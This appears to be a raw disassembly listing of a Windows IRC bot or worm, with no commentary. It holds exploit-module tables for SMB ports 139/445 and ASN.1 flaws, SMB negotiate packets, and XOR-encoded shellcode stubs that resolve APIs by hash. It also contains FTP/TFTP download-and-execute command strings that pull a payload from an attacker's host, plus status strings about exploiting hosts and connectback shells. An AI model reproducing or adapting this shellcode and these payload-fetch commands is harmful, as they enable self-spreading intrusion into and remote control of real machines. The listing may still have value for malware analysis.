aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DDC0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DDBCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DDB8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DDB4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DDB0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042DDACo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DDA8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DDA4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DDA0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DD9Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DD98o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DD94o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DD90o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DD8Co
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DD88o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DD84o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DD80o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DD7Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DD78o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DD74o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DD70o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DD6Co
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DD68o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DD64o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DD60o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DD5Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DD58o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DD54o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DD50o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DD4Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DD48o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DD44o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042DD40o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042DD3Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042DD38o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042DD34o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042DD30o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042DD2Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042DD28o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042DD24o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042DD20o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042DD1Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042DD18o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042DD14o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042DD10o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042DD0Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042DD08o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042DD04o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042DD00o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42DCFCo
aAdams		db 'Adams',0            ; DATA XREF: ___:0042DCF8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042DCF4o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42DCF0o
		align 4
byte_431948	db 50h			; DATA XREF: ___:0040ADF0o
					; ___:0040ADFDr
		db 43h,	2 dup(0)
dword_43194C	dd 7C7325h		; DATA XREF: ___:0040AE9Bo
dword_431950	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA5o
dword_431958	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Co
					; sub_41AA43:loc_41AB06o
dword_43195C	dd 334B32h		; DATA XREF: ___:0040AF95o
dword_431960	dd 5058h		; DATA XREF: ___:0040AF87o
					; sub_41AA43+AAo
dword_431964	dd 4B32h		; DATA XREF: ___:0040AF77o
					; sub_41AA43+98o
dword_431968	dd 454Dh		; DATA XREF: ___:0040AF5Eo
					; sub_41AA43+7Eo
dword_43196C	dd 3839h		; DATA XREF: ___:0040AF4Eo
					; sub_41AA43+6Co
dword_431970	dd 544Eh		; DATA XREF: ___:0040AF3Eo
					; sub_41AA43+5Ao
dword_431974	dd 3539h		; DATA XREF: ___:0040AF30o
					; sub_41AA43+46o
dword_431978	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEB+3Ao
dword_431980	dd 5D4D5Bh		; DATA XREF: sub_40AFEB+2Co
					; sub_40AFEB+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEB+18o
					; sub_418212+5o
		align 4
		jmp	short loc_431990
; ---------------------------------------------------------------------------


loc_43198E:				; CODE XREF: ___:loc_431990p
		jmp	short loc_431995
; ---------------------------------------------------------------------------


loc_431990:				; CODE XREF: ___:0043198Cj
		call	loc_43198E


loc_431995:				; CODE XREF: ___:loc_43198Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_43199C:				; CODE XREF: ___:004319A1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_43199C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4319B2:				; CODE XREF: ___:004319B7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4319B2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A54
		jnz	short loc_431A40
		retn
; ---------------------------------------------------------------------------


loc_431A40:				; CODE XREF: ___:00431A3Dj
					; ___:00431A4Dj
		call	near ptr loc_431A45+1


loc_431A45:				; CODE XREF: ___:loc_431A40p
		add	[edx+0], ch
		call	sub_431A54
		jz	loc_431A40
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A54	proc near		; CODE XREF: ___:00431A38p
					; ___:00431A48p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A54	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C125+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DB+30o
		align 4
		dd 5 dup(0)
dword_431B00	dd 0B97h		; DATA XREF: sub_401ACD+1DA1r
					; sub_401ACD+1DCAo ...
off_431B04	dd offset sub_40E0D1	; DATA XREF: sub_40C125+1EAr
dword_431B08	dd 0			; DATA XREF: sub_40B64B+2Eo
					; ___:0040D496w ...
dword_431B0C	dd 1			; DATA XREF: sub_40BACE+1Fr
dword_431B10	dd 1			; DATA XREF: sub_40BACE+3B3r
dword_431B14	dd 0			; DATA XREF: sub_40BACE+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E207h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Fh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Fh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2DAh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_431CE2	db 1			; DATA XREF: sub_401ACD:loc_4037E7r
					; sub_401ACD+1D24o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431D0E

; =============== S U B	R O U T	I N E =======================================



sub_431CFE	proc near		; CODE XREF: sub_431CFE:loc_431D0Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431D06:				; CODE XREF: sub_431CFE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431D06
		jmp	short loc_431D13
; ---------------------------------------------------------------------------


loc_431D0E:				; CODE XREF: ___:00431CFCj
		call	sub_431CFE


loc_431D13:				; CODE XREF: sub_431CFE+Ej
		jo	short near ptr dword_431C9C+12h
		cwde
		cdq
		cdq
		retn
sub_431CFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
		align 10h
dword_431E90	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64B+46o
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40B64B+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431EBC	db  2Dh	; -		; DATA XREF: sub_40B71A+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431F04	db  2Dh	; -		; DATA XREF: sub_40B786+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DB+7Fo
dword_431F40	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o
dword_431F50	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DB+14o
		dd 7473694Ch, 3Ah
unk_431F6C	db  2Dh	; -		; DATA XREF: ___:0040BA14o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431FA0	db  2Dh	; -		; DATA XREF: ___:0040B922o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431FD0	db  2Dh	; -		; DATA XREF: sub_40BA57+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431FF0	db  2Dh	; -		; DATA XREF: sub_40BA57+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_43200C	db  2Dh	; -		; DATA XREF: sub_40BACE+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_432040	db  2Dh	; -		; DATA XREF: sub_40BACE+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432078	db  2Dh	; -		; DATA XREF: sub_40BACE+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_4320A8	db  2Dh	; -		; DATA XREF: sub_40BACE+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320DC	db  2Dh	; -		; DATA XREF: sub_40BACE+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_432110	db  2Dh	; -		; DATA XREF: sub_40BACE+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432144	db  2Dh	; -		; DATA XREF: sub_40C125+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43216C	db  2Dh	; -		; DATA XREF: sub_40C125+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4321A4	db  2Dh	; -		; DATA XREF: sub_40C125+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321E4	db  2Dh	; -		; DATA XREF: sub_40C125+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_43221C	db  2Dh	; -		; DATA XREF: sub_40C125+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432250	db  2Dh	; -		; DATA XREF: sub_40C125+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_432284	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59C+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADB+B2o
		align 4
dword_432338	dd 10FF8h, 0		; DATA XREF: sub_40CADB+6Ao
dword_432340	dd 10FF8h		; DATA XREF: sub_40CADB+79o
dword_432344	dd 7FFDF020h, 0		; DATA XREF: sub_40CADB+162o
dword_43234C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF05+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323D4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF05+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432404	dd 0			; DATA XREF: sub_40CF05+44o
		dd 800000D4h, 0
unk_432410	db  81h	; 		; DATA XREF: sub_40CFDF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43245C	db 41h			; DATA XREF: sub_40D07D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4324A0	proc near		; DATA XREF: ___:0040D35Co
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43259C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4325B2
		mov	[esi+8], eax
		call	sub_432565
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4325B2
		mov	[esi+0Ch], eax
		call	sub_432517
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4325B2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4324A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_432517	proc near		; CODE XREF: sub_4324A0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432540
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432517	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432540	proc near		; CODE XREF: sub_432517+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43254F:				; CODE XREF: sub_432540+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43255C
		inc	ebx
		jmp	short loc_43254F
; ---------------------------------------------------------------------------


loc_43255C:				; CODE XREF: sub_432540+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432540	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432565	proc near		; CODE XREF: sub_4324A0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43257D:				; CODE XREF: sub_432565+1Ej
		cmp	[ecx], ebx
		jz	short loc_432585
		mov	ecx, [ecx]
		jmp	short loc_43257D
; ---------------------------------------------------------------------------


loc_432585:				; CODE XREF: sub_432565+1Aj
		mov	edx, edi


loc_432587:				; CODE XREF: sub_432565+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432591
		mov	edx, [edx+4]
		jmp	short loc_432587
; ---------------------------------------------------------------------------


loc_432591:				; CODE XREF: sub_432565+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432565	endp


; =============== S U B	R O U T	I N E =======================================



sub_43259C	proc near		; CODE XREF: sub_4324A0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43259C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4325B2	proc near		; CODE XREF: sub_4324A0+16p
					; sub_4324A0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4325C8:				; CODE XREF: sub_4325B2+33j
		jecxz	short loc_432602
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4325D5:				; CODE XREF: sub_4325B2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325E1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4325D5
; ---------------------------------------------------------------------------


loc_4325E1:				; CODE XREF: sub_4325B2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4325C8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432602:				; CODE XREF: sub_4325B2:loc_4325C8j
					; sub_4325B2:loc_432602j
		jmp	short loc_432602
sub_4325B2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432608	proc near		; DATA XREF: ___:0040D30Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43265A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432625:				; CODE XREF: sub_432608+38j
		jecxz	short loc_432655
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432630:				; CODE XREF: sub_432608+32j
		lodsb
		test	al, al
		jz	short loc_43263C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432630
; ---------------------------------------------------------------------------


loc_43263C:				; CODE XREF: sub_432608+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432625
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432655:				; CODE XREF: sub_432608:loc_432625j
		mov	[esp+arg_0], ebx
		retn
sub_432608	endp


; =============== S U B	R O U T	I N E =======================================



sub_43265A	proc near		; CODE XREF: sub_432608+7p

; FUNCTION CHUNK AT 00432692 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432673
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43267E
; ---------------------------------------------------------------------------


loc_432673:				; CODE XREF: sub_43265A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43267E:				; CODE XREF: sub_43265A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432692
sub_43265A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432685	proc near		; CODE XREF: sub_43265A:loc_432692p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432685	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43265A


loc_432692:				; CODE XREF: sub_43265A+29j
		call	sub_432685


loc_432697:				; DATA XREF: sub_40CADB+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43265A
; ---------------------------------------------------------------------------
		dw 0
dword_43269C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
dword_4326A8	dd 30h			; DATA XREF: sub_40CADB+2CAo
dword_4326AC	dd 0A1h			; DATA XREF: sub_40CADB+29Fo
dword_4326B0	dd 3			; DATA XREF: sub_40CADB+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADB+153o
		align 4


loc_4326BC:				; DATA XREF: sub_40CADB+E8o
		jmp	short near ptr dword_4326C4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4326C4	dd 0			; CODE XREF: ___:loc_4326BCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D331o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432730	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co
; ---------------------------------------------------------------------------


loc_43273C:				; CODE XREF: ___:00432746j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43273C
		inc	edi
		jz	short loc_432783
		and	eax, 952CE753h
